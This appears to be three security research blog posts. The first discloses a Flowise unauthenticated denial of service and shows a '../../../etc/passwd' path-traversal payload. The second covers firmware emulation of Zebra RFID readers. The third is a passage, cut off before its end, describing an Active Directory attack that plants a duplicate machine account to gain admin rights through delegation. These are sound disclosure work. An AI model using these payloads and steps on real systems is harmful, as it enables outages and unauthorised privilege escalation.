While reviewing some LLM related products with the team, we came across FlowiseAI.

FlowiseAI is an open-source tool for building conversational AI applications and chatbots. It provides a low-code platform with a visual interface that allows users to create AI workflows by connecting different nodes and components.

Seeing that the product was already affected by several weaknesses, in particular CVE-2024–31621, we thought it would be particularly interesting to see if any other weaknesses could be discovered.

The result was the discovery of several vulnerabilities, including two currently published with a CVE number

• CVE-2024–8181 : An Authentication Bypass found by my colleague Rémy Marot
• CVE-2024–8182 : An Unauthenticated Denial of Service

This was discovered by Tenable Research while working on web application security.

This blog post focuses on the second discovery which turned out to be an accidental discovery.

An examination of CVE-2024–31621 reveals that Flowise exposes various unauthenticated endpoints, among which we can find /api/v1/get-upload-file/ which allows a user chatting with a model to retrieve content used (eg an image) during a conversation.

When a chat is initiated and it contains a document, a request is made to the URL

http://[FLOWISE_URL]/api/v1/get-upload-file?chatflowId=[ID]&chatId=[ID]&fileName=[NAME]

Using this endpoint and following the flow of function calls, we come across the streamStorageFile constant, whose purpose is to retrieve the requested file.

In our case, we’re not using Bucket (S3) for storage, so we fall in the else part line 299 that seeks to retrieve a file locally.

An unauthenticated endpoint fetching a local file, the perfect conditions for testing different path traversal cases.

A few remarks about the piece of code we’re watching

// path.join() automatically resolves relative paths and `..` sequences
// so it "always" creates a normalized path
const filePath = path.join(getStoragePath(), chatflowId, chatId, filename)

// So the checks path.isAbsolute() and filePath.includes() are
// therefore unnecessary here
if (filePath.includes('..')) throw new Error(`Invalid file path`)
if (!path.isAbsolute(filePath)) throw new Error(`Invalid file path`)

With these 3 lines, we could say that finally the only value that matters is fileName and that we can place our payload there such as ../../../etc/passwd.

// Path.join() performs the normalization and the value 
// obtained for this is now /etc/passwd
const filePath = path.join(getStoragePath(), '1', '2', '/../../../etc/passwd')

The problems start with the following line

export const getStoragePath = (): string => {
    return process.env.BLOB_STORAGE_PATH ? path.join(process.env.BLOB_STORAGE_PATH) : path.join(getUserHome(), '.flowise', 'storage')
}

[...]

//only return from the storage folder
if (!filePath.startsWith(getStoragePath())) throw new Error(`Invalid file path`)

The filePath value must start with a specific path, which by default corresponds to the /root/.flowise/storage folder.

without going into details, in our case this file is not very interesting and greatly reduces the impact of the vulnerability.

However, while running a few tests, I noticed at one point that my instance was no longer responding. I had put a simple dot in the parameter name

On the code side, it looks like this

// Path.join() performs the normalization and the value 
// obtained for this is now /root/.flowise/storage
const filePath = path.join(getStoragePath(), '.', '.', '.')

// This condition is validated because getStoragePath() == filePath
if (!filePath.startsWith(getStoragePath())) throw new Error(`Invalid file path`)


// fs.existsSync checks whether a file or directory exists 
// at the specified location
if (fs.existsSync(filePath)) {
    // fs.createReadStream create a read stream for the specified file
    return fs.createReadStream(filePath)
} else {
    throw new Error(`File ${fileName} not found`)
}

Among the various problems posed by this implementation, the problem here is that fs.existsSync() doesn’t distinguish between a file and a directory, except that fs.createReadStream() expects to receive a file.

As the value supplied is a directory, an unhandled exception is thrown and the application crashes.

To date, despite several reminders and the acknowledgement of other vulnerabilities, the Flowise team has not followed up and has not informed us of a potential fix.

CVE-2024–8182 : Accidental Discovery of an Unauthenticated DoS was originally published in Tenable TechBlog on Medium, where people are continuing the conversation by highlighting and responding to this story.

Emulating a firmware can be particularly useful in the context of device fingerprinting in order to access unavailable devices but also in vulnerabilities finding as it allows a deeper understanding of the device behavior.

However, the very first step of emulating a device can be tricky because of a lot of technical constraints. The emulator must support the same architecture as the device, a device which also often interacts with specific hardware components. Firmware can also contain proprietary or obfuscated code. To sum up, it expects a certain environment setup which needs to be replicated in order to have everything run smoothly.

Initial hypothesis

The initial hypothesis is that we need to fingerprint Zebra RFID readers, ideally in a non-authenticated manner. However, aside from parsing the certificate, our initial investigations on client devices did not reveal any relevant unauthenticated endpoints that could at least identify the device model.

For our study we chose the Zebra RFID reader FX9600. Firmware is common with the ATR7000 model and is available here. Analyzing such a device is highly beneficial due to its extensive industrial use, but also for its potential security vulnerabilities and opportunities for device fingerprinting. Device fingerprinting is what we’ll be focusing on in this article.

Quickest approach

Replicating an entire physical device is typically more of a scavenger hunt. A first interesting tool we had a look at is firmadyne which is designed to mimic Linux-based firmware for MIPS and ARM architectures. It’s built upon the QEMU project. In order to automate some firmadyne tasks, there is also a wrapper called FAT (firmware analysis toolkit) from Attify.

However, these tools are not magic and their use isn’t flawless as we may face a lot of binaries that don’t emulate correctly mainly due to the absence of hardware in the emulated environment. In these situations, some manual adjustments may be required.

Let’s try a first naive run of firmadyne without specific configuration. The very first step consists in extracting the firmware image using extractor.py. This is a recursive firmware extractor that aims to extract a kernel image and/or compressed filesystem from a Linux-based firmware image (using the binwalk python library under the hood).

$ sudo -- /home/iot/tools/firmware-analysis-toolkit/firmadyne/sources/extractor/extractor.py -b Zebra -np -nk ./FX_ATR_3.25.70.zip /home/iot/tools/firmware-analysis-toolkit/firmadyne/images

/home/iot/Work/Zebra/FX_ATR_3.25.70.zip
>> MD5: a3c086bc4bfe7e554a6c90713b8bf0df
>> Tag: FX_ATR_3.25.70.zip_a3c086bc4bfe7e554a6c90713b8bf0df
>> Temp: /tmp/tmp62gf_can
>> Status: Kernel: True, Rootfs: False, Do_Kernel: False,                 Do_Rootfs: True
>>>> Zip archive data, at least v2.0 to extract, name: FXSERIES-3.25.70/
>> Recursing into archive ...
 
/tmp/tmp62gf_can/_FX_ATR_3.25.70.zip.extracted/FXSERIES-3.25.70/fxupdate.elf
 >> MD5: 18c9c99cffc020590416fa9f38a7dde3
 >> Skipping: application/x-executable...
 
/tmp/tmp62gf_can/_FX_ATR_3.25.70.zip.extracted/FXSERIES-3.25.70/osupdate.elf
 >> MD5: 593d8e95b3af222e55cb753488ccdae5
 >> Skipping: application/x-executable...
 
...
   
/tmp/tmpxfde794b/_4798.extracted/AA8468
   >> MD5: 43467c660f7dc10b8bc2aeb59d282b93
   >> Tag: FX_ATR_3.25.70.zip_a3c086bc4bfe7e554a6c90713b8bf0df
   >> Temp: /tmp/tmp8a1a2zj9
   >> Status: Kernel: True, Rootfs: False, Do_Kernel: False,                 Do_Rootfs: True
   >>>> ASCII cpio archive (SVR4 with no CRC), file name: "dev", file name length: "0x00000004", file size: "0x00000000"
   >> Recursing into archive ...

Then it hangs when walking through an archive and trying to extract an item named “console”. Using such tools can save time if you know what you’re doing, but it requires some configuration and does not often work out of the box as the tool may face deeply nested archives and unsupported formats. It’s worthwhile to attempt manual analysis in parallel to better understand the firmware structure and later guide the tools to be more effective with a correct configuration.

Emulated services in a sandbox environment

In many cases, it’s not always necessary to emulate the entire system to interact with relevant services. Extracting the filesystem and emulating the services we need in a sandboxed environment may be enough.

Extracting the firmware archive shows the following files:

Here is a quick reminder of the boot process of an embedded Linux system; it all starts from a minimal and immutable ROM code, which then calls an initial boot loader (X-Loader). The X-Loader main function is to initialize various system components, including CPU registers, device controllers, and the content of the central memory. After initialization, the X-Loader locates the Universal Bootloader (U-Boot) in the boot partition of the internal memory card and loads it. The U-Boot on its own performs advanced hardware initialization and loads the Linux kernel into memory. The kernel continues the initialization process, mounts the root filesystem, sets up the operating system environment, and starts user-space processes.

Mounting the filesystem

What is the .jffs2 file name extension? JFFS2 (Journaling Flash File System 2) is designed for use with NAND and NOR flash memory devices. It’s typically used in embedded systems and is designed to handle the characteristics of flash memory devices.

When working with JFFS2 images, you typically use an MTD (Memory Technology Device) rather than a regular block device. This can be somewhat a bit trickier when trying to mount a JFFS2 filesystem image on a standard Linux system. Jefferson tool could be a good alternative to extract the filesystem, simplifying the process.

Extracting JFFS2 filesystems

Let’s reconcile the JFFS2 files and extract the root and platform filesystems:

$ cat rootfs_3.21.10.0.jffs2 rootfs_3.21.10.0.jffs2_2 rootfs_3.21.10.0.jffs2_3 rootfs_3.21.10.0.jffs2_4 > rootfs_combined.jffs2
$ poetry run jefferson /home/iot/Work/Zebra/FXSERIES-3.25.70/rootfs_combined.jffs2 -d /tmp/jffs2-root
$ poetry run jefferson /home/iot/Work/Zebra/FXSERIES-3.25.70/platform_3.25.70.0.jffs2 -d /tmp/platform

$ ls -l /tmp/jffs2-root/
total 60
lrwxrwxrwx  1 iot iot   10 May  7 16:32 apps -> /mnt/data/
drwxrwxr-x  2 iot iot 4096 May  7 16:32 bin/
drwxrwxr-x  3 iot iot 4096 May  7 16:32 dev/
drwxrwxr-x 39 iot iot 4096 May  7 16:32 etc/
drwxrwxr-x  3 iot iot 4096 May  7 16:32 home/
drwxrwxr-x  7 iot iot 4096 May  7 16:32 lib/
drwxrwxr-x  4 iot iot 4096 May  7 16:32 media/
drwxrwxr-x  5 iot iot 4096 May  7 16:32 mnt/
lrwxrwxrwx  1 iot iot   14 May  7 16:32 platform -> /mnt/platform/
drwxrwxr-x  2 iot iot 4096 May  7 16:32 proc/
lrwxrwxrwx  1 iot iot   18 May  7 16:32 readerconfig -> /mnt/readerconfig/
drwxrwxr-x  2 iot iot 4096 May  7 16:32 run/
drwxrwxr-x  2 iot iot 4096 May  7 16:32 sbin/
drwxrwxr-x  2 iot iot 4096 May  7 16:32 selinux/
drwxrwxr-x  2 iot iot 4096 May  7 16:32 sys/
drwxrwxr-x  2 iot iot 4096 May  7 16:32 tmp/
drwxrwxr-x 10 iot iot 4096 May  7 16:32 usr/
drwxrwxr-x 12 iot iot 4096 May  7 16:32 var/

$ ls -l /tmp/platform/
total 36
drwxrwxr-x 3 iot iot 4096 May  7 16:34 appsconfig/
drwxrwxr-x 2 iot iot 4096 May  7 16:34 bin/
drwxrwxr-x 8 iot iot 4096 May  7 16:34 config/
drwxrwxr-x 3 iot iot 4096 May  7 16:34 lib/
drwxrwxr-x 3 iot iot 4096 May  7 16:34 radio_firmware/
drwxrwxr-x 2 iot iot 4096 May  7 16:34 schema/
drwxrwxr-x 2 iot iot 4096 May  7 16:34 scripts/
drwxrwxr-x 9 iot iot 4096 May  7 16:34 www/
drwxrwxr-x 8 iot iot 4096 May  7 16:34 ZebraLicensedApps/

The platform partition seems to be mounted at /mnt/platform on the root filesystem. It contains a lot of binaries and scripts to init the platform environment.

Binaries architecture

Let’s find the binaries architecture:

$ pwd
/tmp/jffs2-root/bin
$ file bash
bash: broken symbolic link to /bin/bash.bash
$ file bash.bash
bash.bash: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-armhf.so.3, for GNU/Linux 3.2.0, BuildID[sha1]=739951b0f6b625faf91fd0a6f635e56473a7efee, stripped

After identifying the architecture of the binaries, we can now proceed to use the appropriate QEMU static version to emulate the firmware’s little-endian ARM 32-bit binaries.

QEMU Emulation

First we are installing QEMU and the cross-compiled 32 bits ARM libc library:

$ sudo apt install qemu-user-static libc6-armhf-cross libc6-dev-armhf-cross

More information on https://wiki.debian.org/QemuUserEmulation.

Let’s try to emulate the ls command:

$ cd /tmp/jffs2-root/
$ cp /usr/bin/qemu-arm-static ./usr/bin
$ sudo chroot . /usr/bin/qemu-arm-static /bin/ls
Error while loading /bin/ls: Exec format error

$ ls -lrt bin/ls 
lrwxrwxrwx 1 iot iot 23 May  7 16:32 bin/ls -> /usr/lib/busybox/bin/ls
$ cat usr/lib/busybox/bin/ls 
#!/bin/busybox.nosuid 

After investigating it seems that the shebang (#!) in the busybox proxy scripts is not interpreted under the right architecture. To solve this issue, QEMU can be used in combination with binfmt_misc, a kernel feature that allows arbitrary executable file formats to be recognized and passed to certain user space applications, like emulators.

$ sudo apt install binfmt_misc

Here is how we registered qemu-arm-static as ARM interpreter to the Linux kernel:

$ sudo echo ':arm:M::\x7fELF\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x28\x00:\xff\xff\xff\xff\xff\xff\xff\x00\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff\xff:/usr/bin/qemu-arm-static:C' > /proc/sys/fs/binfmt_misc/register
$ sudo mount -o bind /proc /tmp/jffs2-root/proc/

Let’s give another shot:

$ sudo chroot . /bin/bash
bash-5.1# uname -m
armv7l

Now we are good at emulating our ARM32 binaries.

Quick analysis of the Reader Management binary

The FX9600 RFID Reader features a web interface for administration. This is a service we will inspect in order to create some HTTP fingerprinting rules.

Having a look at the www directory, we see a collection of static html files and the following directories:

$ find * -maxdepth 0 -type d
atr7000
cgi-bin
help
images
lib
node-server
wsgi-bin

It appears that an Apache server hosts a Python/WSGI application. Also two javascript files (ReadTagsServer.js, ReadTagsServer_secure.js) in the node-server directory require a Node.js environment. A smooth run will require many dependencies, and simply copying the Python files to run the application locally will not suffice. However, let’s give it a first shot.

After fixing a missing logs directory:

bash-5.1# mkdir -p /var/volatile/log/apache2/
bash-5.1# apachectl -f /platform/config/apache2/conf/httpd.conf
Unsupported setsockopt level=1 optname=15
bash-5.1# ps -aux | grep httpd | grep -v grep
root     30107  0.1  0.3  68116 15864 ?        Ssl  15:53   0:00 /usr/bin/qemu-arm-static /usr/sbin/httpd -f /platform/config/apache2/conf/httpd.conf
daemon   30109  1.1  0.8 306892 34012 ?        Sl   15:53   0:00 /usr/bin/qemu-arm-static /usr/sbin/httpd -f /platform/config/apache2/conf/httpd.conf
daemon   30110  1.1  0.8 306884 34016 ?        Sl   15:53   0:00 /usr/bin/qemu-arm-static /usr/sbin/httpd -f /platform/config/apache2/conf/httpd.conf
daemon   30113  1.1  0.8 306884 34020 ?        Sl   15:53   0:00 /usr/bin/qemu-arm-static /usr/sbin/httpd -f /platform/config/apache2/conf/httpd.conf

We got access to the home page. However it seems that the picture at the top right is generic (FX7500 model). We’ll see later where the model is properly set.

While crawling the www directory, we found a page with an explicit name (versioninfo.html):

While trying to request this page, an XHR (XMLHttpRequest) was sent to the /control endpoint but received a 500 status code in response:

bash-5.1# grep /control /platform/config/apache2/conf/extra/httpd-vhosts-web.conf 
    Alias /control "/platform/www/wsgi-bin/rm.wsgi"

Having a look at rm.wsgi, it seems that it tries to make a request to a local rmserver.elf binary listening on localhost:50009.

This binary is not running and is probably started when the device boots (it is called by another binary /platform/bin/initthredbo.elf). In fact the “Reader Management” server is responsible for handling all the reader information and management requests (see Configure device using RM Interface — Zebra IoT Connector documentation).

bash-5.1# export LD_LIBRARY_PATH=$PATH:/mnt/platform/lib/
bash-5.1# /mnt/platform/bin/rmserver.elf
thredbo_getpowertype: Cannot open device.
No adapter found.
No adapter found.
wdog_settimeout: wdog not opened
Stopping syslogd/klogd: no syslogd found; none killed
thredboapi: Cannot open device.
thredbo_getpowertype: Cannot open device.
thredbo_gethardwareid: Cannot open device.
ERROR: bad block in /dev/mtdblock2 at 0x0
ERROR: bad block in /dev/mtdblock2 at 0x20000
thredboapi: Cannot read mfg area
Invalid Model Name, Failed to start ReaderServer.....

rmserver.elf is calling some thredbo_xxx() functions which are defined in the libthredboapi.so library. It appears that if the thredbo_getreadertype() function fails, the binary exits with an error. The reader type will be necessary, as we will see a bit later, to configure the device the proper way.

Here is the message we just got at the bottom of the stack errors (some functions may be renamed for clarity):

The get_device_info() function makes several API calls (libthredboapi) to retrieve some hardware information.

Let’s have a look at the specific thredbo_getreadertype() function:

The thredbo_getreadertype() function calls a function named read_mfg_data() (understand read manufacturing data) which tries to read a MTD block:

If it succeeds, it reads and performs some checks against the device manufacturing data.

At this point, it looks like the block device /dev/mtdblock2, which acts as an interface to the MTD partition /dev/mtd2, is missing. MTD (Memory Technology Devices) are NAND/NOR-based flash memory chips used for storing non-volatile data like boot images and configurations.

The most likely hypothesis is that this “manufacturing” data comes hard-coded within a memory chip, which makes sense as the mac address is read from this MTD block.

Static files to the rescue for fingerprinting

If no information is leaking from unauthenticated requests, web static files might provide some.

As the firmware is common to several reader models, different configurations apply depending on the model. As an example, the rmserver.elf binary is responsible to configure some web content based on the reader type:

As the specific device picture is renamed to devicemodel.jpg, comparing the checksum of this resource against the checksums of the other devices’ pictures, like devicemodel_fx9600.jpg, may help to fingerprint the model.

Patching the Reader Management binary

At this point the easiest way to provide the device type is to patch our rmserver.elf to tell that the model is of type 3 (fx9600) and to continue to run the code:

At this stage, a backup configuration file seems missing:

This backup file is needed as the main configuration file is missing (AdvReaderConfig.xml).

We found an example of an FX7400 reader profile in the documentation from which we wrote our configuration file. Unfortunately, but not unexpectedly, other errors occurred, and the server crashed:

The ReadTagsServer.js is responsible for managing the tag reads. However, its execution is not essential in our case, so we patched the binary to continue the main execution flow. The server finally crashed with a segmentation fault:

While our server is not yet listening on port 50009, we now have a better understanding of how things are articulated within this firmware.

What’s next

At this point, we concluded that too many dependencies were required for proper emulation of this binary, leading us down what is commonly referred to as a “rabbit hole”.

This “Reader Management” binary has indeed numerous dependencies, and we are limited by the lack of data read from the physical hardware of the RFID reader. However, analyzing the filesystem and doing a quick analysis of the binary gave us enough clues to help us to fingerprint the model.

Also, after a more thorough investigation of the web resources, no other information like the version or serial number seems to be accessible without authentication.

Despite the difficulties, identifying the model of an RFID device remains relevant. It enables targeted support and maintenance and aids in accurate inventory management.

If we continue to delve deeper into the subject, we might explore other avenues, including kernel-level emulation. This could present challenges, such as accurately replicating hardware interactions, and emulating the SNMP daemon.

IoT firmware emulation and device fingerprinting challenges was originally published in Tenable TechBlog on Medium, where people are continuing the conversation by highlighting and responding to this story.

Active Directory (AD) uses a multi-master replication model to have a decentralized infrastructure. As long as one domain controller (DC) is up and reachable, services such as authentication are available. The replication process is a complex topic having multiple concepts such as: site, connection object or site topology. Consider reviewing Microsoft documentation: Active Directory Replication Concepts if those notions are new to you.

Over the past few years, I’ve sometimes seen conflicting objects known as “CNF” objects. But I’ve never had a chance to play with them, let’s change that😏!

This replication process generally works well and can automatically manage some conflict cases. But when the conflict is hard to resolve, especially when two objects are created with the same name, in the same container and within a short period of time, Active Directory will rename one of these objects by adding the suffix \0ACNF:<objectGuid attribute value> to keep all distinguishedName (DN) unique. In this kind of situation, those conflicts should be manually resolved.

Can we create such objects on demand? Yes of course😉! But what is the process? How does it work? There are a few articles on the subject (but not a lot) that I will refer to in the first part to have a good understanding of the topic. And then, we will see how we can obtain admin access to machines that newly join the domain.

This was discovered by Tenable Research while working on identity security.

TL;DR

For those who can’t read the whole post:

1. An attacker authenticated as a standard domain user can listen and be notified of any new legitimate machine joining the domain, and then create a conflicting object. As long as the ms-DS-MachineAccountQuota attribute value is greater than zero (default case), they can create the same machine account on another domain controller before the replication occurs.
2. By duplicating this conflicting machine account, the normal machine cannot contact the domain and thus cannot be used to log in with a domain user. Only a local user can be used.
3. If the administrator wants to fix it without removing the machine from the domain, they will use a local administrator account to repair the secure channel.
4. If the attacker is lucky (50–50 chance), the fake machine account will be selected by the Active Directory as the authentic account.
5. Once the secure channel between the machine and the domain is fixed, the attacker who created the fake machine account has privileges on this machine account through the msDS-AllowedToActOnBehalfOfOtherIdentity attribute. It can be used by the attacker to abuse Resource-Based Constrained Delegation (RBCD) and gain administrator privileges on the authentic newly joined machine.

A PowerShell script is publicly available on GitHub to detect a new machine (1) and create a duplicate account (2).

Definitions

We will focus our research on security principals, which are AD objects from the following classes: user, computer and group.

Security principals can be uniquely identified with different attributes:

• distinguishedName: ”The distinguished name is a string that includes the location of the object and is formed by concatenating the relative distinguished name of the object and each of its ancestors all the way to root.” More details here.
• objectGUID: “This attribute specifies the unique identifier for an object.”

Although it cannot be read directly on the object as an attribute, Microsoft defines the RDN as:

The relative distinguished name is the name defined by an object’s naming attribute […]. Most object classes use the cn (Common-Name) attribute as the naming attribute. An object’s relative distinguished name must be unique in the container where the object resides. There can be many object instances with the same relative distinguished name, but no two can be in same container.

You may be surprised not to see other attributes🤔. Microsoft indicates that:

[…] other attributes can be used for identification by applications such as userPrincipalName, sAMAccountName, and objectSid attributes. These attributes are very important “names” for Windows 2000, but these are not part of the object identity from the directory’s perspective.

But if we refer to another Microsoft page about the user naming attributes, it indicates that the value of the 3 aforementioned attributes is unique in a domain🤨. This is not what we’ve read just before!

Let’s define them too:

• objectSID: “This attribute specifies a binary value that specifies the security identifier (SID) of a security principal object.”
• sAMAccountName: “This attribute specifies the logon name used to support clients and servers running LAN manager and older versions of the operating system […]. This attribute has to be less than 20 characters to support older clients and must be unique among all security principal objects within the domain.”
• userPrincipalName: “This attribute specifies the user principal name (UPN) that is an Internet-style logon name for a user […]. The UPN is shorter than the distinguished name and easier to remember. By convention, the UPN maps to the user email name.”

We can use the following table to summarize what we’ve just read:

Creating conflicting objects

First, let me clarify that this kind of object should be rare in a normal production AD. When adding a new object that conflicts with an existing object, the system should block its creation.

There are at least 3 different methods to create conflicting objects nonetheless:

1. Create the same object on multiple domain controllers at the same time. Caution: you need to be fast to add them before the replication occurs (by default, the intra-site replication interval is 15 seconds but the real interval to create conflicting objects is shorter, only 1 or 2 seconds).
2. (💡it could work) Isolate domain controllers from the network before creating the objects. Once created, reconnect the network.
3. (💡it could work) Using the tombstone reanimation.

We only used the first method.

Basis of CNF objects

Based on the definitions and especially the RDN, we understand that from the Active Directory perspective, the location of the objects matters and the conflict will not be processed the same way if 2 objects added at the same time are located in the same container or not.

➡️As noted in the definitions, we will focus our research on the security principals, which are LDAP objects. SYSVOL objects and other LDAP objects are out of scope.

Case 1: within the same container

Because the two objects will be located in the same container, there will be a conflict on the DN. The AD identifies and immediately resolves this conflict. One of the objects is renamed: its new RDN will be <Old RDN>\0ACNF:<objectGUID>.

➡️This action is called “mangling the RDN” in certain documents.

For example, let’s assume that the user “CN=John Doe” is created in the organizational unit “OU=Office” in the “Example.com” domain on two distinct domain controllers around the same time. After replication, the two objects will look like:

The Microsoft Active Directory: Duplicate Object Name Resolution page describes this process well:

The sAMAccountName values are still the same, but one of the objects is renamed. The special character “\0A” is a line feed character (the backslash escape character followed by the 2 character hexadecimal representation of the line feed character). Of course, the two objects have different values for objectGUID and objectSID.
[…]
When a domain controller recognizes the conflict, it decides which object to rename based on the following:

1. If the version numbers of the two objects are different, the object with the lowest version number is renamed.
2. If the object version numbers are the same, the object with the oldest timestamp is renamed.
3. If the timestamps are the same, the object with the lower GUID is renamed.

The important points are:

• One of the two objects is renamed.
• But the sAMAccountName attribute is not modified and values are the same.

So it is possible to find two objects with the same sAMAccountName value in the same AD domain 💥. This was unexpected and very interesting🫠!

Case 2: in distinct containers

Let’s continue our example with John Doe. Considering the second object was added into a different organizational unit or container, what’s going to happen? They both give the same results: it will be fine from DN/RDN perspective, and for the sAMAccountName they will be the same (similar to case 1). The mechanism that identified the RDN issue and acted immediately does not check the sAMAccountName.

That means those two objects will exist in the AD, without the “CNF” tag and they will have the same sAMAccountName value😯! So not all conflicting objects can be identified with “CNF” in the DN.

For instance, the following situation can exist:

When same sAMAccountName values are renamed?

You may wonder: what happens next to the sAMAccountName duplicated values? Are they here to stay forever? In a Microsoft blog it is mentioned:

Security Accounts Manager (SAM) service checks periodically for duplicate sAMAccountName values. […] When the process detects duplicate sAMAccountName values, one of the values is changed to the string “$DUPLICATE-xxx”, where xxx is the RID of the object in hexadecimal.

But it never did it periodically in our lab🤔. The only actions that triggered this renaming were those mentioned in the great blog post (sAMAccountName is always unique in a Windows domain… or is it? — by Joe Richards):

• When trying to authenticate as the user using the sAMAccountName (using the UPN will have no effect) and the correct password, one account will keep the original value and the others will be renamed.
• If we use a wrong password, then all objects having a sAMAccountName equals to the one we used will be impacted by the renaming.
• The same behavior can be observed if, later (after the replication propagates it), we try to create again an account that has been duplicated before.

The important points are:

• sAMAccountName renaming is done following a manual action and may occur automatically after a long period of time. Once again, not seen in our test environment but mentioned in a Microsoft blog.
• We might think that as soon as the system identifies conflicting objects, for instance when the DN is renamed with “CNF”, the sAMAccountName would also be updated. But that is not the case.
• Not all conflicting objects can be identified with “CNF” in the DN if we include objects having a duplicated sAMAccountName or the value $DUPLICATE-xxx, where xxx is the RID of the object in hexadecimal.

So until here nothing new, but it’s important to have this refreshment before the next part.

Attack scenario

The attack that we want to test is: what happens if a real computer is added to the domain, and if, at the same time, an attacker with a standard account detects it (step 1🕵️‍♂️) and adds the same machine account by targeting another domain controller (step 2📨). Can the attacker control the real machine (step 3🥷) and elevate their privileges thanks to this conflict?

Lab architecture

The minimum requirements for this scenario are:

• 2 domain controllers, to make the conflict possible:
  - DC-999, having the PDC emulator role.
  - DC-1001, targeted by the attacker.
• (optional, but useful for this scenario) 1 member machine, compromised and used by the attacker:
  - WIN10–01, sometimes named AttackMachine in the blog. The attacker has local administrative rights on this machine.
• 1 standard Active Directory user account used by the attacker from WIN10–01.
  - std-user-1.
• 1 new machine that is joining the domain
  - NEWMACHINE

The lab architecture and flow of the attack can be illustrated with the following schema:

Here are the 4 machines just before the scenario:

🕵️‍♂️Step 1 — Detect the addition of a new computer

To react as soon as possible, the attacker used the same method described for the UncoverDCShadow tool: the LDAP server control LDAP_SERVER_NOTIFICATION_OID (1.2.840.113556.1.4.528) to receive in real-time the notification about any newly created computer. The privileges of a standard AD account are “high” enough to subscribe. They can get more information if they wanted to, but here the need is only about the notification of the creation. They can subscribe to any domain controller they want. Normally, if you want to monitor an AD domain for legitimate purposes, and so by choosing only one domain controller, it’s a good habit to select the one holding the PDC emulator role to have more information. But to maximize their chances of catching the notification very quickly, whatever the domain controller where the join occurs, it’s better for the attacker to subscribe to all domain controllers.

📝Note: The Lab schema that was presented before only details the attacker flow. In this schema, the attacker subscribes only to the PDC from the AttackMachine.

Also, we assume that other methods might be used by the attacker to detect a new computer. For example, an aggressive loop with Get-ADComputer doing the request every second could work under some circumstances.

As soon as the addition of the machine is detected on the domain controller they’ve subscribed to, the next step is to immediately create on a different domain controller a computer account having the same sAMAccountName. In this scenario, the attacker wants to create the maximum confusion for the administrator, and ideally replace the original account. So they will choose the Case 1 described in the first part of the blog: the fake object will be created in the same container.

📨Step 2 — Add the fake conflicting computer

To add the fake computer, the attacker still wants to do it with its standard account used before, and considering the ms-DS-MachineAccountQuota attribute still has its default value allowing any user to add up to 10 machine accounts in a domain.

🤓The MachineAccountQuota topic has already been explored in other blog posts, and as suggested in this one, the attacker used the Powermad tool to create the fake machine account.

➡️I’ve also learned a lot about pre-created computer accounts thanks to the Diving into Pre-Created Computer Accounts blog by Oddvar Moe and I recommend it.

Actions described in Step 1 and Step 2 can be scripted (cf. GitHub). The attacker can run it on the AttackMachine (WIN10–01) with a standard account. It will subscribe to events from DC-999 and target DC-1001 to create the fake computer. Numbers in the list below can be associated with the numbers in the screenshots.

1. NewMachine computer is added to the “example.com” domain.
2. The script detects it with a notification coming from DC-999, and immediately tries to create the fake similar machine account on DC-1001. The fake machine account DN has not been renamed (i.e.; mangled) and looks like a normal account. Whereas the authentic machine account DN has been renamed. At this stage, both objects have the same sAMAccountName value, we need to wait for NewMachine to reboot.
3. During the reboot, NewMachine (highlighted in 🟩) will try to authenticate with its machine account to the domain. This is the moment when the sAMAccountName will be renamed. AD could decide here to select either the authentic or the fake account (highlighted in 🟧), the attacker needs a bit of luck🤞. We can see the sAMAccountName of the fake machine account has not been renamed and our fake object looks really like an authentic object so that’s a win 💪.
4. The reboot is complete and a prompt for login is displayed.
5. As expected when creating a machine account through the MachineAccountQuota, the mS-DS-CreatorSID attribute (highlighted in 🟥) contains the objectSid of the account that created it, i.e. std-user-1.
6. Finally, we can confirm the sAMAccountName renaming has not impacted the fake machine account, but the authentic one.

📝Note: When trying to add the same machine account there are 3 possibilities:

1. 😢 It fails because the commands to add the fake account were not fast enough.
2. 😞 It works, but the renamed account is the fake account we added. Not good, it’s better to have the other case.
3. 😀 It works, and the renamed account is the original! This means that the fake account looks like the real machine account.

In our tests, the first was rare but the second and the third were 50–50🎲.

As mentioned in Step 1, the chances can be increased by subscribing to multiple domain controllers. But this is not over yet! Even if the first challenge is passed, the next one is as important: the sAMAccountName renaming. Here also some luck is required to have the good case, 50–50 chance once again 🎲.

Let’s go back to our scenario: what happens if a user tries to authenticate from the NewMachine?

This is the first issue the user can see when typing the correct password:

The security database on the server does not have a computer account for this workstation trust relationship.

❌At this time, the machine is unusable with domain accounts and so the attacker has caused a partial Denial-of-Service (DoS) on the new machine. However, if a wrong password is typed, then the error will be different:

The user name or the password is incorrect. Try again.

This means that, contrary to the previous error, the account is found. So what does this error mean 🤔?

Thanks to Wireshark, we can deep dive into the discussion between NewMachine (192.168.109.70) and the domain controllers (here only DC-99, so 192.168.109.69).

We can see a Kerberos error “KRB5KDC_ERR_S_PRINCIPAL_UNKNOWN” for “newmachine.example.com”.

Let’s compare the two objects side by side:

Even with those differences, we can identify the following attributes, which should be unique but are duplicated. This is the root cause of the Kerberos error:

In this scenario where the renamed DN having “CNF” is the authentic account, it is more than likely that the administrator will delete the authentic computer account. Let’s remove it and try again to authenticate from NewMachine. Is it better on the login screen?

❌There is still an issue, but we cannot see a Kerberos error in Wireshark this time.

Deleting the CNF object was quite logical for the administrator. However, at this stage there are two possibilities:

• The administrator will delete the other object, remove the machine, and try again from scratch.
• Or the administrator is stubborn, or this is not the first time the issue occurs and is determined to make it work! We like this spirit and will continue with this case😊.

After typing this error “The security database on the server does not have a computer account for this workstation trust relationship.” or even the previous one in various search engines on the Internet, a lot of results encourage us to reset the machine account password. To do that, first we need to log in the machine with a local account, and then open a privileged console/PowerShell. The command to type is:

netdom resetpwd /server:<DNS hostname of a DC> /userd:<Domain Admin user> /passwordd:'<Domain Admin password>'

📝Note: Other commands such as Test-ComputerSecureChannel -Repair -Credential (Get-Credential), can be found in the Internet but the result will be the same.

➡️Because of that requirement, this cannot be used when a new DC is added. The creation of the conflicting object even in the Domain Controllers OU will work (and the DoS). But this command fails when trying to execute it with the DSRM account. The situation can be resolved as soon as the fake account is deleted, and if the remaining account has a coherent sAMAccountName value.

Let’s retry to authenticate from NewMachine with a domain user account.

✅Finally, it worked! We have successfully authenticated on NewMachine with a domain user account, but remember: the machine account in the Active Directory is the fake one created by the attacker with EXAMPLE\std-user-1. This means that the attacker using this account has more privileges on NewMachine than they have on other machines. Let’s check that:

